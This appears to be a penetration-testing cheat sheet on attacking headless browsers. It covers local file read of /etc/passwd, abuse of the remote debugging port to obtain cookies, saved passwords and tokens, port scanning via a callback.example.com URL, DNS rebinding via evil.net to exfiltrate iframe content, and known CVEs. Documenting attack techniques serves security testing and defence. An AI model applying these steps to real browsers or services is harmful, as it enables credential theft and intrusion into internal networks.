Headless Browser
A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals. Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
Summary
Headless Commands
Example of headless browsers commands:
Google Chrome
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.comMozilla Firefox
firefox --screenshot https://www.google.comMicrosoft Edge
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
Local File Read
Insecure Flags
If the target is launched with the --allow-file-access option
Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the /etc/passwd file.
PDF Rendering
Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
Target: google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html
Javascript Redirect
Iframe
Remote Debugging Port
The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browser’s DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port 9222 but it can be changed with --remote-debugging-port=.
Target: google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html
Tools:
slyd0g/WhiteChocolateMacademiaNut - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
slyd0g/ripWCMN.py - WCMN alternative using Python to fix the websocket connection with an empty
originHeader.
[!NOTE] Since Chrome update from December 20, 2022, you must start the browser with the argument
--remote-allow-origins="*"to connect to the websocket with WhiteChocolateMacademiaNut.
Exploits:
Connect and interact with the browser:
chrome://inspect/#devices,opera://inspect/#devicesKill the currently running browser and use the
--restore-last-sessionto get access to the user's tabsData stored in the settings (username, passwords, token):
chrome://settingsPort Scan: In a loop open
http://localhost:<port>/json/new?http://callback.example.com?port=<port>Leak UUID: Iframe:
http://127.0.0.1:<port>/json/versionLocal File Read: pich4ya/chrome_remote_debug_lfi.py
Node inspector
--inspectworks like a--remote-debugging-port
Starting from Chrome 136, the switches --remote-debugging-port and --remote-debugging-pipe won't be respected if attempting to debug the default Chrome data directory. These switches must now be accompanied by the --user-data-dir switch to point to a non-standard directory.
The flag --user-data-dir=/path/to/data_dir is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, you’ll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
Network
Port Scanning
Port Scanning: Timing attack
Dynamically insert an
<img>tag pointing to a hypothetical closed port. Measure time to onerror.Repeat at least 10 times → average time to get an error for a closed port
Test random port 10 times and measure time to error
If
time_to_error(random_port) > time_to_error(closed_port)*1.3→ port is opened
Consideration:
Chrome blocks by default a list of "known ports"
Chrome blocks access to local network addresses except localhost through 0.0.0.0
DNS Rebinding
nccgroup/singularity - A DNS rebinding attack framework.
Chrome will make 2 DNS requests:
AandAAAArecordsAAAAresponse with valid Internet IPAresponse with internal IP
Chrome will connect in priority to the IPv6 (evil.net)
Close IPv6 listener just after first response
Open Iframe to evil.net
Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
From top window, inject script into iframe to exfiltrate content
CVE
Exploiting a headless browser using a known vulnerability (CVE) involves several steps, from vulnerability research to payload execution. Below is a structured breakdown of the process:
Identify the headless browser with the User-Agent, then choose an exploit targeting the browser's component: V8 engine, Blink renderer, Webkit, etc.
Firefox : CVE-2024-9680 - Use after free
The --no-sandbox option disables the sandbox feature of the renderer process.
References
Last updated